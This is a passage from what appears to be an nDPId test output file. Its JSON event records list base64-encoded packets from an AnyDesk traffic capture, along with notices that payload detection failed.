dGw42HXVwvBs\/kq0QDqx1T166thNY48NQshS8xRTVFZT0U8ouaNa\/BdQ1144n1pGtdAcSDD7JuuX+tG8JsoKlCOShq7loeU85hwd\/QA12AQaUtzOouAviVveprpqYJoOqUfXjT+RoXrJF9Tb8KyKF2IFeHaSkl4It5SYyFatWEaXRkUTHe2oQlQtaymQybEXz\/MYLv8\/af2E9U7UIa+4oKFuGb1hgubxGp1usjMXvNvSpOILv4CjoBWxWVJ0dr3901qX6j+OtPFohROxsCsCCHIcnFOAA1U8ccgXAMMe6iqRneBr1GiuMDpZEZON3R5xJeLFpQS74HxXPCpCxXjygD45QlP\/nPrGplZ4j2RymGAXy8vxIvCUxJ9xJBxMGRuuFkf5C37Au+RjPGVEmG+B\/OT6javPoqhsUKXRbzKGgNHfoAdGffGzR\/M8RaM80ApHikSMG3goUdq0PsVo8hJ8cAn5qCyaK0UR+NhdjrKG98u43+hfKrCQmSrpRwpScFhcMMz+HC2ZXv6a6Zj3e2ilsI2GbRKJagHjExdDphGeigVQsOf6AL2nyXX6D7hPTCK4BYTSGV5hGGzYeqvjcJkBIe9dmw+kd7Hb4XS97CVk1jj8yw1rsIWEKayc6lpwoWcreRttCG8jDDq20Pxh2scAb7AgB\/morfGMfizb2bNhw19yu5MAs4ViEFF057YiRjGLlGVLgFRI2j7rEvmN8vxQ1gqad78RcO1DpPCe+7bs8ZHsIrPpUd5\/\/aCt2gP7ANsiqCHhw9CJnl9MmRbNbM7In\/CcnHyOdr0zJfqTV2SyYz0J+1sOKg5uxzkki\/oa+JC\/gvDlBe+\/DexC2\/IcPtN4OcC+zYQIGuTpzGa3afEbo+OTJu0XWhUtD8QJug\/nEo9cjMPz6EZc\/lXwJUjnCMO3ySNoNZAoyJ9aITy4Ay0QNJwXZiYUsb45SqIYZFmyBINTMvL3BbpH0b0jq6cdebUk8RQUJD6UjLO6vn1faIJMNCsAe3IAkrHF+iS37P128sF\/S8H0LEwM5V01pvY2J20keVQI0FCMMUXfJTTp91AUVCM4Ax7lC3b\/PtKfuHISWLIzkxEa1VPE\/UqwHDgKuhHWRt\/nSAksFyXFLrB7p+VpBHBvewfpkBCBCRTKvJwfsu8wKm4FOa0o4EAe2oHG\/DD2DU67jtNtx6OA+ZsYlz13YirUvZdT6SAZhijFhbFgpauvod0vHP1OCy2GR8rIBU1RMdDFIu6tD4Dn2lG623id8NSI8Wg1TF5G5DiyHN+eJD5fqPiYZiVmiL6fnw6czbRJeOo1+YSaVi9janGRh8ypM8Vw+BMunPVt6ZcOsBKWKn+EiGj1ICzvDJLULj7PLdoPYnPe1LPniylU8cMA+R9o2G38KhF8Ez7kmm1cbx8YUvruqcxToc5yrIIgpaBIyvHC\/wPaePZTG\/f3JnqpGbiUHNQJxGPKLnPkwdALHZRLP9W41ehyii0W2NEeOK7\/iDwd326VGo6DIAVUEwB3NQhYN4VyBQAzyomDaQX1UYEdnhqhN1XM+scUWcNqS0hmrUpB7\/TGpACZdbO\/h8ICZPz\/YPL6gcuNu0WzqCeHO1y191txnidt7+nZfeld1AqSUNDddqdU0mM25SF0GKHLL\/gwKPkqZHdpYKQbjyRfvmvKFxmmCZg6zR8sWjXfyeUwLBkDu6BfVz7B+gIejWl3mHEEYJd8Y3QRpyOOMx3GjWC5C1Szt4W2ov+jqAl8oD8\/qstTkujr6MVMMjdvm\/NwzhymZv3JWbxoQ483InbBD+cTBuY40tzmgb1fMyLpyXeSaa92Z8oOKBrT2qNT+JJY7r7b0p4famTtX2QCnzb\/KoxUaVVYBA9yj20jL1FcDz8t8DNs93kmYKeoiSX7LLM7lUn95gNjT6S20MI9lOlbqMMTshEBHHnPZbC4pAHA+HIxYV\/Nr+HR9P6aib1mOw7eCqm3XqtCwpQJSIs7L0Tc+omKNkgHdSwylMmYF35G\/ypjZM\/NtrDVjPphBAofQz1FexuPKpT7iD+bt0amjzVreXexwsijfU69zQvuHNxLyVoNergLgqDFhfzu6qT8v2sk5z3ljVdsdDpMLzN1n5ztD2EPS4Z64k6nZzKf73cJytPN3F0liPLEHooIRhw4aIGjIDp\/SzPeZ93ZNItUz6ld\/KJSlmo\/BQZOVNUh6zYECs7Csad5a302DiD\/fJ1FgnwDqp3H4IuQz4ziE6EFFJlsL+Z78oW2WxG4ZoeykwOi+DxdL5dAEfE5++n4EJNgeiAFzgrkwMs9kwZUmwIRi7GLbuEKRN0jmMVNtf4ZN6evc1qXoeDFMIsAEiATEjRmxyAHqpkezY9XD9vp9KGGii3Du0Tc1XRTB3Bzd\/cmCkiSxk2qCtaboShmtEW4vHCiXK\/8yNpPIQg4QoPd1wvVo6Nedkq3fux0qN5oArsrDLRrGCJaZMFaDG\/EXJki\/468brIz+fBprNIyASoVf+yIIcbtVJy\/0Q\/6FJpj\/GphE\/luhvoXMf9a7ju3oZ4746pL0xuJ+zhSHuVqKXJMqg5KlkC9TJLe9xafvJ9JrlUW2LolQITrB876a8o60C7lOhDZicdqHc8eiGW7mCyI4HurCfmdROLkgw5rr7UOv+k1uoE3L\/rN+E7fkxAyvlkPNLq2v6UhIsgGYNXqS7orzBoazFGlfAWulQvn01Wf1obAzZ2q6WkRhEUuCrb4vFnis6MfGUGqc0jq\/r1ZoDuRowdpmpX1ei1vNdyRFPH6f3GRBlmYlF8fosBmZI8j5TQ+QDwd9zgxhg2rkH4ofXCsBsN6rbbgrbZWO6Iw8nP7FhToRFAgRi31+GFnrWC48uuY5AbZJDhHh4fqOskRl+y1BP\/elf3yo9T\/TjTdXeZDuze8gxvPYFpADLGd0F4PRbGF8dR2eub9eTMyzGkbq5DQx7tRhwKg93QWYOyteMEQ2\/PBQBYsutv3GP+doMXL8pKm6Rh9dMhJHYEhxuhSsEpuqT0pMi1XxaY9n0eojMNvsynKjv7OkM8tWoFmAlriWo9kEEk14h7qEuq+aTy1sEnzk57rJPVBcWnbhhWgdlZEH9tZiXtmfG0thVdfUOc7KuiWKol4mqxbE\/5RwcYuYoYVnz8axgg1pv1T13OeYICQiG\/emcPTnWZ0u2fnn+MUaDUJrOdtMaa1bLFUp+WWtz5dWTbBuZ61+8UpDnbMgu7E6PrB8TfLpOReRqL13JPUNnwwYjgUxkW8wDzWxWr\/O\/8jOWTZv1tUnGXh+PbHQEB6g0hc6jR5PfoT0fy9QYOFpcHhKaCU5m+3p6+4MM2vUgMCi4mc1LGPiR+LtAoiMsI9ui2P8YE6531siKKM3q2vNpAlPxSErUkj3JuPV4mqFUtwy3cuDWltBhWWyBLMcC69heUM7hModOI2UMi8VQ\/44gNPaogZhF\/AE5\/0o5qwPfofdguW0fzQwabNTUqjBtlG3H65dBKmD9AZe+WYj5TC5hsKOYYtg3caTVfPIiCnZvr9YHd2FavHDXwZKPknxUM9ag1eOzb00dwqZdO0fCyh2AnOdCU5GrYsbqLiqUX3mOKyNc+dZ6xZzCJ+rHtKqzfcf\/HvDAZ0bTs6vogVvpdhdpfYIYbg9QdzX9B\/vblBJ8XUMv1U\/xoM0oEevc8N8FGUQOksKJRIK5vktPaaWbFqG+JM\/oQmTjIxBIsCh15X9m8Oi2mURJrv\/Tq22oNlFaAlgoEhR9mx9vwwGnumWavF3K3ysEcucjYuyoK5n6eHnacCEkC9wenblFjLun94gxTHq85o+oyg6BQikYkDmDgJBUjNY"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2093,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06202{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2096,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":43377,"pkt_caplen":4359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4359,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhJ1AAIAGAADAqAG7wKgBstOUG56PMXsTWcRHc1AYIBOExAAAFwMDEMxZ4hNO+msW9+q8PmAihSEYWszk6vhAHCNC8CUkFLh0C+DoyBBA7emIs94s1jApv+vNV2DY5rT4yhr+HP+Nj8K+up17hYNoxwBMma9l6kAJ\/YdMtsMtp3hg9xcT1z516gkuDNkJVoaOs+Twv5gI9BpVxU+USsE136\/VLJGmp0ABj7V4xw8sRcobrogFwFB6b7XGqrPo9XJZBEliNRoROCUwYaSgJjiUft10a6Lrf0BXNYPUqlpjdMG03Z8dOanLcI3qo1sn5dEyh9v7B8uCibCkB+xozRT\/BQme\/A5OZ5\/wReL7DGGtaE73ALNkk12oNGrTxN4iGI7gnall2pF1tnzniKWcvtzm3po9BV8OQUEBpwSVeYNlHynfSKYB3cGIpY0hPcKPEIo88kunt59NX3n45\/zcaT9\/J7h0gO5T\/Bcm7dfaXkn2aj7t62hN1okvnD1YauBTNViQUzh8cAlwAYVBmLCaPhlL+hXa3wuYSJmLsjwdwPGyFAC+deAp6qPnhGUcTHr9S4uJdZgJM2Md1b8PrlYI+a4WpUqvGibDEgCDxar\/IXNB1bq6F\/DNbZY55DAixdURslGibd\/tX6f8XP+juQn8\/1hPbEUfVkDBe7K+3p0I7Haw4ayBNo4SZ3EQeVXnoOTIVHt9q1nL9fDCk2rmYCzG6cMoBo3mZ4bLJeXhsoMS+pQW92pxxTZVmRM0FCVUgJHaXgp5QDRLoJkH2KEZvqJ6jRPMKjG9i3FYxRSUSGHI8POZiAzJp6Jcqw1S+G3djVwRDd8136\/uS5cio2bVPDyXHF36WJ30+MDqEDJIzzxv422qskGvY6UwSSfcNoMEyjBldehK54E\/QOvKJo5TWS3C26nf4uapREztSgtOi2NH9bX1a6Vx6MFRZC+hAF3X4kDQoCWpdUVLNzdb9P8ZgylpEmzGh5AoTuYZeSFgbczhNE+4LJIRnV2N6dPIR+Yaig+WRA5bMcpGu0kWeiTaymhsdwOJDt4eM3OKVj1F7fVMe3yhH\/Zqt+gkN+DmlW8Zbai+QhA7qSf6rPGd9EcGosdmqLj4iYikb+gErOl9MJmSV696z47EAbA2rbqttTqQTpBGzDHTTBG+V2ezDHO+SiHoNEZ4Aq7Be1oa2IltbXBJjDlw73J7ppTKSixsYaf8YRlu\/XwHIS5+J+afECl6bZGdU2OM6hr9ABLX531rQU67bdwPCp4GEEPK5ayUg2fUj6okfSPCzqw1RyT+QAZSV63rh\/8pffQEr2WtlFD98pMMRLF8uNI7Gg75S1+Zcyq4OSkHO7vEjMoMUjPS4Xkx3CUWHf8qVOBQzBFFEvfNvuJQGh0zuIkoumhAlv+0vmkKDWfmNGO7nhQIzncz6H4+YnMLP4LxxO3oqnRfEMDZq6tjvK7cW60y1dc0R2uaYUJaDIgoEh9nARIRNROSEwLl3\/AkIfshCEj2wSmYiB3huwJS67t2VbvtlSAFwrQOygAH3vky4XhflFm\/3WZHU44+Us2UYvDkoj8Xq09TiNSj8xVhXVj69JJuw52b8J2Ngrpo+i1X2ZaAYLf8YPEevLxeLAj1l9r22isDnvYOVUxkopCH6QnckyrHUqKcdyes0AgMriFVMqrkp\/R5c4FLrdBDUKDZ5Ysg+RX6RokPWnM8gjYAxCehostRTigmxCmNP7Sh7QJqVogeMB7+yshEUqt51VcKpNlTbHim3iFM9RV5huzdTa2J0iUd7\/lgvJqG2E1I+pg2UwVG6d2IabuKr3I0Nv\/dc2Mm6siV9GOQs7mdDffwB5Fd4VPKC79Gyh6xk3NYvodZgD7Ke8s+eArPzk1TM7asmsvIFiI3o1zhef5WE\/5uNrGLS5nvZ6+oqLEHEMabqTQvqkXuN+hKPEt0AG4kAKfbn2\/msxkEsfjozrkxbc\/cRf79erX7FzzkENMfQIoMcUxwXwHyDiqlKLsVv8Eiq19rzUCbDgwFVcvQhHjuK+f5APuFPeLEWS8c9oBM7Q5wPr5iOewXLZfIHo0ibC4o4j0Jbb6Bls0qg\/lP9zzdHY5\/Urae+9uGx6QP2LvauePlW99lDUmNSXf28qGCQny4cvoYgFL31UmlH1vtDpOiQtWrkku\/ZaJ\/j0m3xFR6PFw80ivnRxWaIXlY\/JT0I4o4TBKOqNwQapgYw66jSQQEXKXWQTb5ChEnrV\/8PKKpb2QowKxktOmfEpHrVijpLFMsCX8IWQQq054at+\/QT9\/D9Lg1SbEbFuNE6VcHNNtCtIVvr3Q\/Tjdd4a34nKbDn4pPCjnl4IhRJ3ItpP5BFzkNTebmKFgamus5STCnSlyZjY2hzb44ItYJIbTUmRPnV23UgIHB3pADLdJxIimOSFBua8y7izEQr5ptSgY+RPzaXqSWtB59s8wgXFH4xIDXzhZBEM9DzJAPsgccbJU78SYcaBoJYLEwosdeNwXqDs7XAZoTuwRIHd\/0cNRuh8NyhIW4WQ9R4WUkpiZT42gfGqe5HmHPoWriIRMqaC7tJZM7xnYH4C72RoxYKTO1\/ptkzVecS9rCuMNIltkTAr9JxQ0cI\/uJpsj0eqYdvFgWFc49ifTmZB27dQDYg3x4wcqZv\/RyG0Ne5h9F8s+56gCq2bu5P3r6pGSCGUaBRjCHZb83MEMxCZvGbtB7sqHAbsLzSdRMPEynylQFjxarGHsHig4Da\/G\/tKZvYsqlw6FNjmiG7UmQFRegLjCBl5tFWOrNs5qMMz\/t8WruC2qpQBPgl0WorWF10JMwAV7chBiWkl\/LvUKUJV4qYxCGeGtvBxe5LPoKwgd5d\/ttmECMLztoBD6ygGByNG8X7fhsunK5ixfz6urUVcE61R5WQYD3ydQLgURqs6o4v0nfjs0riIf2C9E2hNgc01DvXb7BINCLw67sfx6RBOQXnCCYPnr+2OV5WhsJWlGdPQ0oUwd2UcGkBBhFc4C2gocYwBzrtGGx9oE4u06FuUvDAjZaV\/MTC1Sv\/qpXYArSMtKObviWEgjdZtTy9FfRfP84ZzOeg+dClmSnD4Mds0r3Q2zWPxEJv7BN2yvBtPy3ZLJE9DYDqBansAgcArTderhrZ5yWIrrXi\/SECs5Sow5eLs+hfpPkGkBdshaEMxWuwNlb\/3c9IayzOxFkbdlUE\/2U7QYxNMp+pbxraim7MKhibfoguELaManlwAa1siV0Kkrt5Ngc4r44TjgMN4M2oMoZ1laKinH+148T3WZ8Luahy1ab75qO58souNYDCkzwMS0jvLBc6n33I0hp6Rh2EuV5JDv0ziT8OchkLMdJMbavllxfrSKy3\/hfZ2m+imzzIEB2WItwALu2UguRvRgc8fY6P3DN3XckdD+TPEM8\/v0lW1W7ew37wwWUEUQL1OdoB\/IXwpOLJWppzKgdhB1Zo4TJ1TCegNieCIvhKQFe+KrNzdXxa2XdTfvLRyZ+n4EERQNi5qS\/+WRryuQ0yZluQETyBY3+1KBeoziAKoSTHC2M\/ZN1KrSkqwplFsfWhyYHwcb0XXKRCzxeomqhG5lXVOY4QspFGUHSlUrP0TW6qGiIoarwQ9ZU1rFjedsXzXdT080UxPs1Zg\/IKwDJVB62dzp61LVOo+dWRJzYW3ID9y\/AG1+TcfhZib9O5o6ypvIt1FOs4\/uia7qxUruqLQGt4jsUX86XluR3t2JjzOl3bFoPE3pDQHFv4I+nqfeADjJ2h10genFevsbOb55iCyDdQ81cYruqMXiYOqN0NGUnOLnht22fz+WQ72oN84w+F4jdBOz9+zigdRtsU735I05phfcsUNr85qDrcHW\/9KGLbLo2kAvsB+dUJnzP+ftcQQbnrXwtp0onhInKe7Z8HRveHQVFFK6yuzIX0pShtTb1CW7d7GjLl3O9W2HkRXbx3hdg7G1Tdw\/LuIBQzhUgilvxul+PK4r3XSeXHREid3PBRsA2D+fQVxBnF9xn9VS1zCcm\/Ij\/1CpRR8HA4\/MCUYM3+SkbXlP51qmDuWblNNLFVq+l+85x93zlfYSu+ZXr\/atiwFa0oFLmp0yz4fYSFqN0W2woXjYmAKMvr2ZOU0qZdR4V5SWJpUl0HbtNuhjeZF0jwQrn1QajLzWkzekpYBMoEgCxXfkrGxiclh8PoTN7JiNmc6oHMCogS0+lrd+n1i3tq1twTN71q6NaxaEFhmGeCgJJg3kXQ8YLTFQwfkProAuHLoJKoOBFrCM+QJ5tloj5vtm9LMh9QG55lQmwVSZywmF4hc+Qi0g\/zaUe5XJXVe3l5Fw\/IpJH53iF\/qdw\/MlhmevZpURGkQgtNwk6l7Euphm8Y7rqCjRQWF85WJ0W7MI8fRpgFGwOBdRAJkD2\/14g7maCfB7gJo2amX7+QL0n24oqDwGp1ObCciE0kEKhAOa2FNWTLZylqcIhQdm4NQF8McF8+Frlpqf1oh8\/xHINphvPrstsFCZVzjAxtq2UuhKDDvJCJjliYUCg8fwH4QD1jbX3xzXVUxuqCSlr8eIK9x+dZuhUtXG6fKild9zAFODFxwylSNAdlOFHI7sIj\/vrAtrwY53s0uGoO59TLZFEPwxe7jxE+JDTzGpC3fViEEthKs7wbRGKhwUB1jJlH660RbTQ+gUm9PseRqrQwxC\/CFmVBx5Qb+kGZPRaCckvJzIzUytXYoDxUFVjutHWyV0rY7PUBAOkkl6OpYPebUEnwMOMSYi7\/nrFTiJfq\/3hGmWipsMTMed1H55oXnJOdtW\/ZPtjznkAAyqPVbx2VSFoaEntw053Yq9GfKowCaqbXR97BvtB2W1vHCAWdeHwUsooiYoFXP4pUAi0xU7KOw3nJwN4uCXhujFFdHNMzBsppeU+2F9KVRHWWU9t0RLLcjZNFbVFsLFezjdv7ir6KaIYPrKkBbLHbPuIBGs1hrNjVnMoyblY3h\/yritbF0PgNrepepX4yh30VBlcxcBQbQ+s7h5vK5XAYYo6pNSrTh6SImnKthRCSVFKKkdfFcc9EAYZMUj0pOekDxgnG2LXoRsVtExIX+tqbQZI4qnxFYDUilqFXcv9lLUEj4UbWiz+NigDq1XRaBuJQXwW2OSdCF+8RnJwWpV5af6Z4wUQSkz4VhKwIriNlSnK4ImHleRYKodmNOfSvwReyHMT+jSKZMPdudmiMwIYiCrkLBtn\/dVgYnGGQKfZwA7eUBLGZgF1beRzdSPgE3jQYGS9Ok7v1uZU34UUtfgrprPX0NVfbSCyg7IzVdmyn5gCkc2oT81AWZBrKLcRwYllXTRu\/zNKCwGqBwHioSPC5Y35IGBqLypPBzesJTdkK5K03rQ3WGWHQAKI8\/0vNbtoSQ9y2ySbOi1oRj6VOmtJzznmfpf4cikHmQFa+npoizAajoF77mBV3JT1yM2criUrnTVWIDKz1UE1ZaJNMwWPsPTuU\/8e5jgPxSjiG1+15wIWHx+c4KASjYWUzSmHISmOJA7oD7m572ibEj8\/16Q2XvXf4IvWhhDCAkVL6P8kJ6TayosO5z32VIQl4pQVDh7og1GwK0wFykIBY+WhqDd5L0CyVqKm3JvnZOraHgH0NnGXX9dNSvil5sHPo\/DoKUtzcUKC9YLw\/Iondsui+zNDTgO8AuEUK\/NLSflXRar5qPde11L5iPAcSErCTdVvJk1SUCIblzGFuJKT+DLrmQ\/k6YA+vjtsYatA1STc5u++oBtFxqnIZaX+a2ZkWhkrk2V7AYCxWKooYa8B\/W0IGYk6\/2jkh4loSg\/T+zXr5zmTkW5mf4nNUFJMlpTHvPuvNMkSU+J4"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2096,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4325} +07834{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2097,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":43409,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhKBAAIAGAADAqAG7wKgBstOUG56PMYvkWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW+I8pYv2rBFvaQFlBsFcKVfxsKlrPc2eTHBWzBxzwdKMQrvyoBINkjT5yfXlUnQ8vUmVn3nnWEbOEZuTzxZo\/qoJFDkl+khMYpFSCBpHqo+Xiy84+GaPuKI\/+PVxaKJm1FluC9kjMYQ6rd0+n1uV6MMA9+UIxKSSlEpShpimW6hDKB7mQcX7mBzNgxAaK8nXMUT5t8M2z4QpBcnQsMbRbDCCU2UodYx8GuaRqEU4fc8oeopIv78mQsI7AvC0iS2rHQFFgZs829VtohLdN3Rj5Rpo+r8+f8uTuPaN+UprThM15wd89ErapasxwVVS4mPLq0bzdGno4mGlJxC2nl9yZVLRrKQR0zuffxUynp42RebSi\/XzTCORSpfc0oDVD9BRI8KiOW\/Mnn9t39rF6+FvGywHesksH\/shOAEiU29CMVSkh2mel4KTuHhKMjLfNou\/5\/nl9OELnx7ITV+pyXwR4jUiVJobyK52GV938Gc0pQTxUr7eBkhyXSmweyiXUMReW1yc2QR3qYSKL0w3uZ6Wqxt17SYMZotnyyUzMoZXabpQnyJHN7fA+GqTVEVOaTLEvgNmUwji7lVBoBPoTtNq4kW8j9NUCVkmSgsw\/sAF0bif2lGbg02+Krgs9l+5fVoEJRI+fBVkldvgJUXtddxhsGFwpd\/hvu1liKqHaERV1s74bJ0OtCb5Lk4ND1FrKPkK6KYNXrbytgFwBnNGmj9Q9rBHjz89r4FEMDXVujvpjmWT8\/U3x4uq6yFX6gdIpTqrnj\/egvuHUSd3pc\/+sQ+guC1j75Dq\/NXHi9eHarhHDoDtcECaX5nKKHeR8vtZCEC0BK4XfnLIdmrQH1uotfPKxrJk\/u1Aam0WY2+1lxT1RVCG47x+p73nBOwq0rHqepT7ng7gMwJ+9heHO\/I3v14rsX3N1PYCUzXSYiO2OUTZSzMCgFIMugVLlJwcEXoawl8RS3d9Mz3ceV72dtLvFEH5wOaQ54mqWi27v98qd67zeOPghsiCLh+dYnAL8dJDw94OGjlfJWtv709NXh3gTJBEoJFthQl7bpGdLG7EDFfO9xYySPhpf4p3oXBy7aY4LBQAL2PUL37g6pSGslKqO6ET3LtEIvGGVA5mGEt0PGio94GJ4oEoBRzn3zxYCN0j\/SAt3gfRi6id14KzlwRCvGL4l3uQZHmPFMF30L3Z9nwnOTvoP9lVjAChukUG4ERJunWD\/3tcZtAIm+agYWjLdcO9zifyGXPXApIDfluvZuJPnfijqWVJmK3QF68l\/YUp5\/Ro9TuvE25bFdyH8J0nb9\/yvYVPtgfgOamj8Mnyg24rT9je8W0ZbO5znwH2jOiEpG9m2wvtvdf8g0MMuc3ELMwwV6\/I4O\/nhIguEkM0pL+2TxrBB7lX\/qAYNyrCPQPrFGK4dgTct9u+33rbOARm4jYdyStbVQsbjOEXTD0OdT64ZlG0KT3ZxX2\/TnEIAHM974DwY9ahPXhuz9vYpQkWV8zjncN6vHvc9oRPmSC5YZGxX\/CZbkrAzu6ra+NRileV6QIa3hRTiv7my8GShIprWQ+Uvd0994e9iCYdRox3X2VHRynEKLne7paNuX\/fg39OlFPMtI4gSLQ922LzuRYQt+J9moNS5EWef3\/f903zhL2piXuX49DKu8ghdoWoy1GZr3IkntVosqx+Rzcs+GpSBYXHRd+oaCUx4\/qbeSyEuFkutQ7GAuw50k9on5ByyQlx648I\/Ho34WtN0ItpeJQJ7VxaZUFjgKsv\/aIjg+6BwOXMGrLt8D1iuMdtSkYzodpwxKcXKEvpbbUw9IwstaV\/BMbYTD7KZJjm\/zUHV9sV5AuyOHm3qhyykrNsN7M8ycPXt1fwRcDPstypan2pyAQsaNenmI41rM4B+WyIBfzZJnYLa86H4JJPx9KyckS670rXQ913Ujg\/1Jr4REmfAxtXXhxkNPZq9FmZChODPTcG8Wle1CVyfRfrjdY2vddpHNv+JixpETrdorcLRbtwf5rkO2QXZxxvpV2W8Kt2qEDp+wkmfBQ9GICdiEEf0+T6St6Xy8AOrSA4qGb3KNBw4YeIIHb+\/gfhhGtE\/+9MbeFfpWj0qFS6mXhJHaA6TXojnHZL9HaTNoBWwJK2WbQz3aynYz5CogsRnw0w0F5RzQHq7pGqUAP6yueEH9VCzbqwKPpCZm0wRN7pvtLLZbkbhygOzq1n0SeBLIoZRmGCcQOFHYxx9gNQXURL9zO\/1OosUCb6iolgKUmYIhyHS1\/eDA0sPqNZ7TiqMwkGZc5nNKsMLtn8t6cVUH2lohfJKVMoCtYIYB7dF7KUnJyGUePDFvLa\/5Qw+7JFCxUwrFGXq9gT8X7ESbJ1sGg4Ec1Wa3aA3qK986GmL2z9zmYW21P9bgCILmfE\/2FaztAex8lRFf6ji5InmyAt8De4eZXwRrJA6Z+XknxxpVbeqSaaDJ3SxVbQGFXHKxGFPxbv31+m4TwVma8UlVrzCvmhISM7kgDfuUCBQluS\/baOXnVbN8jhlUmwSs3bto5DAHcJi7T7RvgMFAjbCX5ZTTMYrVgBSrqWPCZ1dYS2s+I3LiS8pc+37YfK0FdDxPH13fiHKe31vtCM1hRoF9dDo0xF3UQ4yz2pl5xIoIol8xp04tch6hUOsvpzBzK+UPSKYch3NtIIwB65DgfprrNsvoIHnuOFN2r0XF030PYOZoKD0nGpjEJbVBU3tLaVSZ6zvAE7Hhs8eY5qag2BfgnEODpv7bQNnvPQROtfcUgc17JAzu0q2npwLtSkSktav5xxx1fOsbcpMIekb737SE\/fGXxds3QbGPr\/3qfsge0+Q5IBcLBo8uNeg58a8qHDEwe3Jz2dGMLnIBwmRDLb\/x74BKY2b0YDG418rrc028JALCJ1HCA3rsbzC1QWwJTQRB8TSZoziznsb+zpKf63KIrJ7lihJb6iL73oTfxw+TLi2tOKlfn1MD0K\/Jhd9moclKmQGi1yXGAwWhn3WGM0gjeODe6aO6ohKKxe9sKg+XYsSjmtm2ghGlWNekQR3pxRFJCW0xvfi86EwPG6Eb41aUGzomrSt17BXyQnNAFrGeKTEYhS1w2zBfkCCtm1RxCLI21HUqEQHBO7dxn+1KWfim7npZMgrHxfHqIXH5v3ThbfE0MUjvXW9wp+jzxH+ZqymuMPkwxYIY+YA9jahmyesOp1ve9ECPB8GR1tT5lENdeRsnzFpMWdowgjAyu1jX+MxplWnnnCMJQojOkf5+9kTBC+vyiWXDm9jEQt6yYKXUrwGKQDSW1nu3NMnOI2S9OeqJ92\/QG1yuwYqfhSD20LkyXJvYDBOEitTYqGf5lUM8EZDQyzAgIHK8rk6+7TZOIbKYdrnuZ2gXQn4Q03w3zn\/MYs7g72P7\/64QxDBibWs1XRqOmAmJKM8ZAOFPsPTl9lf6OzDMx1UcTmil93EVMW9PZKeeXvLq+wbCFzalnoE1zYFbHCce8GAaqu0Nur\/JVWaQD3H2C11QlpLlJGIH1WQB6v96TfOrZ6Qf67zaTVI1uc4ApGCg9UkC1UP0HbW6mlj0GNK6E\/5XNSwtRepPeePTl5GNG0nym3vyQQmLG0Ii7gNUyT+5sQN\/2S6FMWvI0nVbvXlHE+2\/usDoNjNMZw2ZGBgfK+dxCAmpJKdiea2YcJcZ+fWTAbtI\/TdKHlygYAVzwo2t9LhSexZvYHp0z1EOV+Sjg7nIYHa9HOeRCamaBY2Jwjg\/QHr7vzrbGPaJPCmYTF6U2z5tTK\/bXRUi9FakIa2sP+RvmeVCxA7cfI15HY1ncz4tkpKq9ijccDTtGPxUkPpiq7ZHPyoStMaBLTOaAGq7TlX41K3OY2gmmknCcRCrQ3lrj4mhE\/QPGv04U4thzfmOllrfjyT1O82h5hDxtwIZ4i0oujjwYdnX9S68GzydQ4\/F0ahWfYtwtXQpVK\/m+6xpndsyNGj7aC\/YHSt66W2WWEq\/4D2LWeNax+4bRjI2LpvTalg0c43Um+hwXpeIizHyKT5B912LUOowyoLyQk\/rg+PnFhV6QdJ1omBINJ0i7d7R6B+sX92M\/lG8JdXaDHcI06igJ3hKQ1z1UaQJgMKy\/bV2FH21h+xaFH\/P378TgAxhO\/ak0ePJclsYhGjom\/YBCXxWUXhyz1wPUpj6i8qErVjNCj1bPDVs6KJCzqNrsFr7jgOiYRNuo\/J\/DYLoIOgeU1831j0s1ugF\/fjBy0z9tCet7f85nUevpZMi766mcbwbO8SoqR9jhW9jqLnRcnNI2ijfk0+bBXQbyNRVsEpQZ28Y9VSEPDsJTi81EzTXYkYFsE8D\/VOR4gzYlQH3fGnRqmy83+++pVpYZh8bHxOZ8YttkXN+jnuAAxdFtrgYG+cHPim+OV5SwUPMJ3o\/1n9uvZKQaIOibSC+TjB7UHUYfTMp9rL8ztU+okM\/zoVxByfp1qs8u9HBw9OwF+jIsAmvVeuml3h0BMHTc4anIFnSJGhZM0ah+ovvHY2CC3XTAzuqQJnG0hqDlAx0j141\/f\/DMqdl\/rNNlh9KvIs5FbL2Ejbgdj24lA9ShMdoF6mCisYZrN7T2kB+E3C7APFONmV4gFT4QOQDKlOmGW1SO\/cNXMfUPBR0OSmijVjoeaZADE0w7DPCchrGqsVkzhVGHybdz9kDviweJc8SvebuXvSulJvzpsWNGG1CHWmXxD+hRqM3+ZWTWh\/sofPZfxn1JVf003uX1hIwIGRn26o7APO33jKWKUr5brttE\/TvPCr\/zB82DCgzFa7albB9OhMjKBmd0z10Do7Wmx7TbgG3mHXbY9\/1gpg9tzSidFdAePGvDFAH+EhBygk9v74G1ZqJhoihr33W5R1787\/3xjRFgQKXdfz2UmFiXxjR4EejV\/uz3sbdrMw3Od+XO1bCe\/XeWNhZVXWuiOm6SC22AO9Mh+Jacauj3\/8fhBa5KulAZBIrtTpz43bjd2iXDu58fWqTY8D8JiOqh++RS\/zxRcsvhlcnnxVi5vh6tDFYek6hOeBc3k33Gg5VwkHsZQv2gc6PsT9SrIWC02nOhOLUAnNC\/FLE+T1RSK\/o\/UprSeAo+NI\/fvxAgwx\/+EM97ndnZQWHgZvvDTpYcmxjgg8F3SOrXoT9YWQ7\/JDweQIwJ+dy\/UkyNDWncuGrKgV2tO8lDuGKLA7\/wVLGaPwCbW+zqsCdU99ktqm3\/cXbxHDg3RUTESm0b2A19E2YIUfleJHm6JGlEQasDwjE\/jXuaLjifZixrh42cL4qI\/jy1Srgp2xp3enjdoPZlfnBLla2KZtpUX9W10ivWteIbDeM\/aYWHpXRAqCeT2cOzB+pjWX